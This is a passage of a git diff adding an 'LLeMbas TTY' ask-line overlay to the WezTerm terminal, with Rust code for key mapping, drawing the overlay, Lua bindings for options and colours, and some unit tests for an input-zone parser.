the line + let z = input_zone(&rows, 0, 4, 8, 3).unwrap(); + assert_eq!(z.typed(), "ab"); + assert_eq!(z.after(), "cdefghijklmnop"); + // too many rows: not taken + assert_eq!(input_zone(&rows, 2, 2, 8, 2), None); + assert_eq!(input_zone(&rows, 0, 4, 8, 2), None); + } + + #[test] + fn a_row_above_that_does_not_reach_the_edge_is_not_joined() { + let rows = vec![row("$ abc", "ppiii"), row("def", "iii")]; + let z = input_zone(&rows, 1, 3, 8, 3).unwrap(); + assert_eq!(z.text, "def"); + } + + #[test] + fn wide_characters() { + let rows = vec![vec![ + Cell { + col: 0, + width: 1, + text: "$".to_string(), + input: false, + }, + Cell { + col: 1, + width: 2, + text: "\u{4e2d}".to_string(), + input: true, + }, + Cell { + col: 3, + width: 1, + text: "a".to_string(), + input: true, + }, + ]]; + let z = input_zone(&rows, 0, 4, 80, 3).unwrap(); + assert_eq!(z.text, "\u{4e2d}a"); + assert_eq!( + (z.pieces[0].start, z.pieces[0].end, z.pieces[0].width), + (0, 3, 2) + ); + let z = input_zone(&rows, 0, 3, 80, 3).unwrap(); + assert_eq!(z.typed(), "\u{4e2d}"); + } +} diff --git a/wezterm-gui/Cargo.toml b/wezterm-gui/Cargo.toml index 2c2ed6158..cb109ddc1 100644 --- a/wezterm-gui/Cargo.toml +++ b/wezterm-gui/Cargo.toml @@ -65,6 +65,8 @@ image.workspace = true lazy_static.workspace = true lfucache.workspace = true libc.workspace = true +# LLeMbas TTY: the logic of the ask line, suggestions and highlighting (llembas/line) +llembas-line = { path = "../llembas/line" } log.workspace = true luahelper.workspace = true metrics.workspace = true diff --git a/wezterm-gui/src/llembas/ask.rs b/wezterm-gui/src/llembas/ask.rs new file mode 100644 index 000000000..e0ac7373d --- /dev/null +++ b/wezterm-gui/src/llembas/ask.rs @@ -0,0 +1,458 @@ +//! LLeMbas TTY: the ask line. +//! +//! The person presses the ask key at their prompt and the line they are on +//! becomes a line for a question to LLeMbas, in its place: the row of the +//! cursor shows `llembas · › ` and what they type. Enter sends +//! the question (to the layer, as an event); Escape, or the key again, leaves +//! it. The shell's own line is as it was before: nothing typed here is ever +//! sent to the shell, and nothing is written to the pane. +//! +//! It is an overlay over the pane, as the terminal's own search and quick +//! select are (`overlay/quickselect.rs` is the model for this file): while it +//! is there the terminal gives the keys to it and draws the pane through it. +//! It draws the pane's own lines, with the one row replaced. The editing is +//! `llembas_line::editor`, which is where its tests are. + +use super::state; +use crate::scripting::guiwin::GuiWin; +use crate::termwindow::TermWindow; +use config::keyassignment::ScrollbackEraseMode; +use llembas_line::editor::{self, Key, LineEditor, Outcome}; +use mux::domain::DomainId; +use mux::pane::{CachePolicy, ForEachPaneLogicalLine, LogicalLine, Pane, PaneId, WithPaneLines}; +use mux::renderable::*; +use mux::Mux; +use mux_lua::MuxPane; +use parking_lot::{MappedMutexGuard, Mutex, MutexGuard}; +use rangeset::RangeSet; +use std::ops::Range; +use std::rc::Rc; +use std::sync::Arc; +use termwiz::cell::CellAttributes; +use termwiz::surface::{CursorShape, CursorVisibility, SequenceNo, SEQ_ZERO}; +use url::Url; +use wezterm_term::color::ColorPalette; +use wezterm_term::{ + Clipboard, Intensity, KeyCode, KeyModifiers, Line, MouseEvent, StableRowIndex, TerminalSize, +}; +use window::WindowOps; + +/// What the layer asks for. +pub struct AskArgs { + /// What stands before the question: the model and mode that will answer. + pub prefix: String, + /// The event the question comes back as. + pub event: String, +} + +pub struct AskOverlay { + delegate: Arc, + state: Mutex, + /// What is written to this pane goes nowhere: the shell under it gets + /// nothing while the ask line is there. + sink: Mutex, +} + +struct AskState { + editor: LineEditor, + prefix: String, + event: String, + window: ::window::Window, + gui_win: GuiWin, + /// Sent or left: further keys do nothing while the overlay goes away. + done: bool, +} + +/// The columns a character takes. +fn char_width(c: char) -> usize { + let mut buf = [0u8; 4]; + wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None) +} + +/// A key of the terminal as the editor knows it; `None` for a key that means +/// nothing on the ask line. +fn map_key(key: KeyCode, mods: KeyModifiers) -> Option { + let none = mods == KeyModifiers::NONE || mods == KeyModifiers::SHIFT; + let ctrl = mods == KeyModifiers::CTRL; + let alt = mods == KeyModifiers::ALT; + match key { + KeyCode::Char(c) if ctrl => match c.to_ascii_lowercase() { + 'a' => Some(Key::Home), + 'e' => Some(Key::End), + 'b' => Some(Key::Left), + 'f' => Some(Key::Right), + 'h' => Some(Key::Backspace), + 'd' => Some(Key::Delete), + 'w' => Some(Key::DeleteWordLeft), + 'u' => Some(Key::DeleteToStart), + 'k' => Some(Key::DeleteToEnd), + 'p' => Some(Key::Up), + 'n' => Some(Key::Down), + 'j' | 'm' => Some(Key::Enter), + 'c' | 'g' => Some(Key::Cancel), + _ => None, + }, + KeyCode::Char(c) if alt => match c.to_ascii_lowercase() { + 'b' => Some(Key::WordLeft), + 'f' => Some(Key::WordRight), + 'd' => Some(Key::DeleteWordRight), + '\u{7f}' | '\u{8}' => Some(Key::DeleteWordLeft), + _ => None, + }, + KeyCode::Char('\r') | KeyCode::Char('\n') if none => Some(Key::Enter), + KeyCode::Char('\u{1b}') => Some(Key::Cancel), + KeyCode::Char('\u{7f}') | KeyCode::Char('\u{8}') if none => Some(Key::Backspace), + KeyCode::Char(c) if none => Some(Key::Char(c)), + KeyCode::Enter if none => Some(Key::Enter), + KeyCode::Escape => Some(Key::Cancel), + KeyCode::Backspace if alt || ctrl => Some(Key::DeleteWordLeft), + KeyCode::Backspace => Some(Key::Backspace), + KeyCode::Delete if alt || ctrl => Some(Key::DeleteWordRight), + KeyCode::Delete => Some(Key::Delete), + KeyCode::LeftArrow if alt || ctrl => Some(Key::WordLeft), + KeyCode::LeftArrow => Some(Key::Left), + KeyCode::RightArrow if alt || ctrl => Some(Key::WordRight), + KeyCode::RightArrow => Some(Key::Right), + KeyCode::UpArrow => Some(Key::Up), + KeyCode::DownArrow => Some(Key::Down), + KeyCode::Home => Some(Key::Home), + KeyCode::End => Some(Key::End), + _ => None, + } +} + +/// The ask key: turn the pane's line into the ask line, or back when it is +/// one already. +pub fn toggle(term_window: &mut TermWindow, pane_id: PaneId, args: AskArgs) { + let window = match term_window.window.clone() { + Some(window) => window, + None => return, + }; + let existing = term_window + .pane_state(pane_id) + .overlay + .as_ref() + .map(|overlay| overlay.pane.clone()); + if let Some(existing) = existing { + // The key again leaves the ask line. Another overlay (search, copy + // mode) keeps the pane: it was asked for first. + if existing.downcast_ref::().is_some() { + TermWindow::schedule_cancel_overlay_for_pane(window, pane_id); + } + return; + } + let pane = match Mux::get().get_pane(pane_id) { + Some(pane) => pane, + None => return, + }; + + // The line is drawn at the cursor: the pane shows its end, not its past. + let dims = pane.get_dimensions(); + term_window.set_viewport(pane_id, None, dims); + + let overlay: Arc = Arc::new(AskOverlay { + delegate: pane, + state: Mutex::new(AskState { + editor: LineEditor::new(&state::questions()), + prefix: args.prefix, + event: args.event, + window: window.clone(), + gui_win: GuiWin::new(term_window), + done: false, + }), + sink: Mutex::new(std::io::sink()), + }); + term_window.assign_overlay_for_pane(pane_id, overlay); + window.invalidate(); +} + +/// Hand the question to the layer: the event, with the window, the pane and +/// the line, as a one-line prompt of the terminal hands its line over +/// (`overlay/prompt.rs`). +fn emit(name: String, window: GuiWin, pane: MuxPane, line: String) { + async fn do_event( + lua: Option>, + name: String, + window: GuiWin, + pane: MuxPane, + line: String, + ) -> anyhow::Result<()> { + if let Some(lua) = lua { + let args = lua.pack_multi((window, pane, line))?; + if let Err(err) = config::lua::emit_event(&lua, (name.clone(), args)).await { + log::error!("while processing {} event: {:#}", name, err); + } + } + Ok(()) + } + + promise::spawn::spawn(async move { + config::with_lua_config_on_main_thread(move |lua| do_event(lua, name, window, pane, line)) + .await + }) + .detach(); +} + +impl AskState { + fn close(&mut self, pane_id: PaneId) { + self.done = true; + TermWindow::schedule_cancel_overlay_for_pane(self.window.clone(), pane_id); + } + + fn apply(&mut self, pane_id: PaneId, outcome: Outcome) { + match outcome { + Outcome::Unchanged => {} + Outcome::Changed => self.window.invalidate(), + Outcome::Cancel => self.close(pane_id), + Outcome::Submit(line) => { + state::remember_question(&line); + emit( + self.event.clone(), + self.gui_win.clone(), + MuxPane(pane_id), + line, + ); + self.close(pane_id); + } + } + } +} + +impl AskOverlay { + /// The row the ask line is drawn on: the cursor's, or the bottom row when + /// a full-screen program has the pane. + fn row(&self) -> StableRowIndex { + let dims = self.delegate.get_dimensions(); + let bottom = dims.physical_top + + (dims.viewport_rows as StableRowIndex) + .saturating_sub(1) + .max(0); + if self.delegate.is_alt_screen_active() { + return bottom; + } + let cursor = self.delegate.get_cursor_position(); + cursor.y.max(dims.physical_top).min(bottom) + } + + /// The ask line as a row of the pane, and the column of its cursor. + fn line(&self, cols: usize) -> (Line, usize) { + let ask = self.state.lock(); + let view = editor::view( + &ask.prefix, + ask.editor.chars(), + ask.editor.cursor(), + cols, + &char_width, + ); + let mut prefix = CellAttributes::default(); + prefix.set_intensity(Intensity::Bold); + if let Some(color) = state::options().colors.prefix { + prefix.set_foreground(color); + } + let mut line = Line::with_width(cols, SEQ_ZERO); + line.overlay_text_with_attribute(0, &view.lead, prefix, SEQ_ZERO); + let lead_cols: usize = view.lead.chars().map(char_width).sum(); + line.overlay_text_with_attribute( + lead_cols, + &view.text, + CellAttributes::default(), + SEQ_ZERO, + ); + (line, view.cursor_col) + } +} + +impl Pane for AskOverlay { + fn pane_id(&self) -> PaneId { + self.delegate.pane_id() + } + + fn get_title(&self) -> String { + self.delegate.get_title() + } + + fn send_paste(&self, text: &str) -> anyhow::Result<()> { + let mut ask = self.state.lock(); + if !ask.done { + let outcome = ask.editor.insert_text(text); + ask.apply(self.delegate.pane_id(), outcome); + } + Ok(()) + } + + fn send_composed_text(&self, text: &str) -> anyhow::Result<()> { + self.send_paste(text) + } + + fn reader(&self) -> anyhow::Result>> { + Ok(None) + } + + fn writer(&self) -> MappedMutexGuard<'_, dyn std::io::Write> { + MutexGuard::map(self.sink.lock(), |sink| { + let w: &mut dyn std::io::Write = sink; + w + }) + } + + fn resize(&self, size: TerminalSize) -> anyhow::Result<()> { + self.delegate.resize(size) + } + + fn key_up(&self, _key: KeyCode, _mods: KeyModifiers) -> anyhow::Result<()> { + Ok(()) + } + + fn key_down(&self, key: KeyCode, mods: KeyModifiers) -> anyhow::Result<()> { + let key = match map_key(key, mods.remove_positional_mods()) { + Some(key) => key, + None => return Ok(()), + }; + let mut ask = self.state.lock(); + if !ask.done { + let outcome = ask.editor.key(key); + ask.apply(self.delegate.pane_id(), outcome); + } + Ok(()) + } + + fn mouse_event(&self, _event: MouseEvent) -> anyhow::Result<()> { + Ok(()) + } + + fn perform_actions(&self, actions: Vec) { + self.delegate.perform_actions(actions) + } + + fn is_dead(&self) -> bool { + self.delegate.is_dead() + } + + fn palette(&self) -> ColorPalette { + self.delegate.palette() + } + + fn domain_id(&self) -> DomainId { + self.delegate.domain_id() + } + + fn erase_scrollback(&self, erase_mode: ScrollbackEraseMode) { + self.delegate.erase_scrollback(erase_mode) + } + + fn is_mouse_grabbed(&self) -> bool { + false + } + + fn is_alt_screen_active(&self) -> bool { + false + } + + fn set_clipboard(&self, clipboard: &Arc) { + self.delegate.set_clipboard(clipboard) + } + + fn get_current_working_dir(&self, policy: CachePolicy) -> Option { + self.delegate.get_current_working_dir(policy) + } + + fn get_cursor_position(&self) -> StableCursorPosition { + let cols = self.delegate.get_dimensions().cols; + let (_, x) = self.line(cols); + StableCursorPosition { + x, + y: self.row(), + shape: CursorShape::Default, + visibility: CursorVisibility::Visible, + } + } + + fn get_current_seqno(&self) -> SequenceNo { + self.delegate.get_current_seqno() + } + + fn get_changed_since( + &self, + lines: Range, + seqno: SequenceNo, + ) -> RangeSet { + let mut dirty = self.delegate.get_changed_since(lines.clone(), seqno); + dirty.add(self.row()); + dirty.intersection_with_range(lines) + } + + fn for_each_logical_line_in_stable_range_mut( + &self, + lines: Range, + for_line: &mut dyn ForEachPaneLogicalLine, + ) { + self.delegate + .for_each_logical_line_in_stable_range_mut(lines, for_line); + } + + fn get_logical_lines(&self, lines: Range) -> Vec { + self.delegate.get_logical_lines(lines) + } + + fn with_lines_mut(&self, lines: Range, with_lines: &mut dyn WithPaneLines) { + // Everything of ours is worked out before the pane's own lines are + // borrowed, as the terminal's other overlays do. + let cols = self.delegate.get_dimensions().cols; + let row = self.row(); + let (line, _) = self.line(cols); + + struct OverlayLines<'a> { + with_lines: &'a mut dyn WithPaneLines, + row: StableRowIndex, + line: Line, + } + + impl<'a> WithPaneLines for OverlayLines<'a> { + fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) { + let offset = self.row - first_row; + if offset < 0 || offset as usize >= lines.len() { + self.with_lines.with_lines_mut(first_row, lines); + return; + } + // The pane's own lines, with the one row replaced by ours. + let idx = offset as usize; + let (before, rest) = lines.split_at_mut(idx); + let (_, after) = rest.split_at_mut(1); + let mut refs: Vec<&mut Line> = Vec::with_capacity(before.len() + 1 + after.len()); + for line in before.iter_mut() { + refs.push(&mut **line); + } + refs.push(&mut self.line); + for line in after.iter_mut() { + refs.push(&mut **line); + } + self.with_lines.with_lines_mut(first_row, &mut refs); + } + } + + self.delegate.with_lines_mut( + lines, + &mut OverlayLines { + with_lines, + row, + line, + }, + ); + } + + fn get_lines(&self, lines: Range) -> (StableRowIndex, Vec) { + let cols = self.delegate.get_dimensions().cols; + let row = self.row(); + let (ours, _) = self.line(cols); + let (top, mut lines) = self.delegate.get_lines(lines); + let offset = row - top; + if offset >= 0 && (offset as usize) < lines.len() { + lines[offset as usize] = ours; + } + (top, lines) + } + + fn get_dimensions(&self) -> RenderableDimensions { + self.delegate.get_dimensions() + } +} diff --git a/wezterm-gui/src/llembas/lua.rs b/wezterm-gui/src/llembas/lua.rs new file mode 100644 index 000000000..349b87ec6 --- /dev/null +++ b/wezterm-gui/src/llembas/lua.rs @@ -0,0 +1,110 @@ +//! LLeMbas TTY: `wezterm.llembas`, through which the Lua layer asks the +//! terminal for what only the terminal can draw. The layer looks for each +//! function before calling it, so a function added here later is simply not +//! used by an older layer, and a layer run where this is missing (the mux +//! server, the tests) does without. + +use super::state::{self, Color, Colors, Options}; +use crate::scripting::guiwin::GuiWin; +use crate::termwindow::TermWindowNotif; +use config::lua::get_or_create_sub_module; +use mlua::{Lua, Table, UserDataRef, Value}; +use mux_lua::MuxPane; +use termwiz::color::ColorAttribute; +use window::WindowOps; + +/// A colour as the layer gives it: a number of the palette, `'#rrggbb'`, or +/// false for none. Anything else is none: the layer has checked it already. +fn color(value: Value) -> Color { + match value { + Value::Integer(n) if (0..=255).contains(&n) => Some(ColorAttribute::PaletteIndex(n as u8)), + Value::Number(n) if n >= 0.0 && n <= 255.0 => Some(ColorAttribute::PaletteIndex(n as u8)), + Value::String(s) => { + let s = s.to_str().ok()?; + let hex = s.strip_prefix('#')?; + if hex.len() != 6 || !hex.is_ascii() { + return None; + } + let r = u8::from_str_radix(&hex[0..2], 16).ok()?; + let g = u8::from_str_radix(&hex[2..4], 16).ok()?; + let b = u8::from_str_radix(&hex[4..6], 16).ok()?; + Some(ColorAttribute::TrueColorWithDefaultFallback( + (r, g, b).into(), + )) + } + _ => None, + } +} + +fn colors(table: Option) -> mlua::Result { + let table = match table { + Some(table) => table, + None => return Ok(Colors::default()), + }; + Ok(Colors { + prefix: color(table.get("prefix")?), + ghost: color(table.get("ghost")?), + notice: color(table.get("notice")?), + command: color(table.get("command")?), + unknown: color(table.get("unknown")?), + option: color(table.get("option")?), + string: color(table.get("string")?), + variable: color(table.get("variable")?), + operator: color(table.get("operator")?), + comment: color(table.get("comment")?), + path: color(table.get("path")?), + }) +} + +pub fn register(lua: &Lua) -> anyhow::Result<()> { + let module = get_or_create_sub_module(lua, "llembas")?; + + // configure { suggestions =, highlight =, ai_complete =, cli =, history =, + // history_max =, colors = { … } } + module.set( + "configure", + lua.create_function(|_, table: Table| { + let options = Options { + suggestions: table + .get::<_, Option>("suggestions")? + .unwrap_or(false), + highlight: table.get::<_, Option>("highlight")?.unwrap_or(false), + ai_complete: table + .get::<_, Option>("ai_complete")? + .unwrap_or(false), + cli: table.get::<_, Option>("cli")?.unwrap_or_default(), + history: table.get::<_, Option>("history")?.unwrap_or(false), + history_max: table.get::<_, Option>("history_max")?.unwrap_or(0), + colors: colors(table.get::<_, Option
>("colors")?)?, + }; + state::set_options(options); + Ok(()) + })?, + )?; + + // ask_line(window, pane, { prefix =, event = }): turn the pane's line into + // the ask line, or back when it is one already. The line the person sends + // comes back as the event, with the window, the pane and the line. + module.set( + "ask_line", + lua.create_function( + |_, (window, pane, table): (UserDataRef, UserDataRef, Table)| { + let args = super::ask::AskArgs { + prefix: table + .get::<_, Option>("prefix")? + .unwrap_or_default(), + event: table.get::<_, String>("event")?, + }; + let pane_id = pane.0; + window + .window + .notify(TermWindowNotif::Apply(Box::new(move |term_window| { + super::ask::toggle(term_window, pane_id, args); + }))); + Ok(true) + }, + )?, + )?; + + Ok(()) +} diff --git a/wezterm-gui/src/llembas/mod.rs b/wezterm-gui/src/llembas/mod.rs new file mode 100644 index 000000000..97e878329 --- /dev/null +++ b/wezterm-gui/src/llembas/mod.rs @@ -0,0 +1,20 @@ +//! LLeMbas TTY: the part of LLeMbas that the terminal itself draws. +//! +//! The LLeMbas layer is Lua (`llembas/lua/`, built in by `config::llembas`). +//! What Lua cannot do is draw on a pane or take its keys, and that is here: +//! +//! - [`ask`]: the ask line, in place of the shell's own line; +//! - [`lua`]: `wezterm.llembas`, through which the layer asks for it; +//! - [`state`]: what the layer said is on, and what outlives one pane. +//! +//! What is decided about a line of text (the editor, the input line as read +//! from the screen, history, suggestions, colours) is the crate +//! `llembas-line`, which knows nothing of a window and is where the tests +//! are. The files here are the thin part between it and the terminal. +//! +//! Nothing here starts a process, reads a pane or writes a file until the +//! layer asks, and the layer asks only when the person pressed a key. + +pub mod ask; +pub mod lua; +pub mod state; diff --git a/wezterm-gui/src/llembas/state.rs b/wezterm-gui/src/llembas/state.rs new file mode 100644 index 000000000..ddbf169de --- /dev/null +++ b/wezterm-gui/src/llembas/state.rs @@ -0,0 +1,81 @@ +//! LLeMbas TTY: what the layer said is on, and what outlives one pane. + +use parking_lot::Mutex; +use termwiz::color::ColorAttribute; + +/// A colour of the layer's options: `None` leaves a cell as it was. +pub type Color = Option; + +/// The colours the terminal's own drawing uses. They come from the layer's +/// options (`colors`), where each is a number of the colour scheme's palette +/// by default, so that every one follows the theme. +#[derive(Debug, Clone, PartialEq)] +pub struct Colors { + pub prefix: Color, + pub ghost: Color, + pub notice: Color, + pub command: Color, + pub unknown: Color, + pub option: Color, + pub string: Color, + pub variable: Color, + pub operator: Color, + pub comment: Color, + pub path: Color, +} + +impl Default for Colors { + fn default() -> Self { + // the same as M.COLORS in llembas/lua/llembas/core.lua + let palette = |n: u8| Some(ColorAttribute::PaletteIndex(n)); + Colors { + prefix: palette(6), + ghost: palette(8), + notice: palette(3), + command: palette(2), + unknown: palette(1), + option: None, + string: palette(3), + variable: palette(6), + operator: palette(5), + comment: palette(8), + path: palette(4), + } + } +} + +/// What the layer said is on. Until it says anything, nothing is: a terminal +/// started without the layer draws nothing of ours. +#[derive(Debug, Clone, Default, PartialEq)] +pub struct Options { + pub suggestions: bool, + pub highlight: bool, + pub ai_complete: bool, + /// The path of the LLeMbas CLI; empty when there is none. + pub cli: String, + pub history: bool, + pub history_max: usize, + pub colors: Colors, +} + +lazy_static::lazy_static! { + static ref OPTIONS: Mutex = Mutex::new(Options::default()); + /// Earlier questions of the ask line, for this run of the terminal only. + static ref QUESTIONS: Mutex> = Mutex::new(Vec::new()); +} + +pub fn options() -> Options { + OPTIONS.lock().clone() +} + +pub fn set_options(options: Options) { + *OPTIONS.lock() = options; +} + +pub fn questions() -> Vec { + QUESTIONS.lock().clone() +} + +pub fn remember_question(line: &str) { + llembas_line::editor::remember(&mut QUESTIONS.lock(), line); +} diff --git a/wezterm-gui/src/main.rs b/wezterm-gui/src/main.rs index 1fb27eab7..51fe7cec8 100644 --- a/wezterm-gui/src/main.rs +++ b/wezterm-gui/src/main.rs @@ -41,6 +41,8 @@ mod download; mod frontend; mod glyphcache; mod inputmap; +// LLeMbas TTY: what the terminal itself draws for the LLeMbas layer +mod llembas; mod overlay; mod quad; mod renderstate; @@ -1209,6 +1211,8 @@ fn run() -> anyhow::Result<()> { // headless mux server. config::lua::add_context_setup_func(window_funcs::register); config::lua::add_context_setup_func(crate::scripting::register); + // LLeMbas TTY: `wezterm.llembas`, for the LLeMbas layer + config::lua::add_context_setup_func(crate::llembas::lua::register); config::lua::add_context_setup_func(crate::stats::register); stats::Stats::init()?;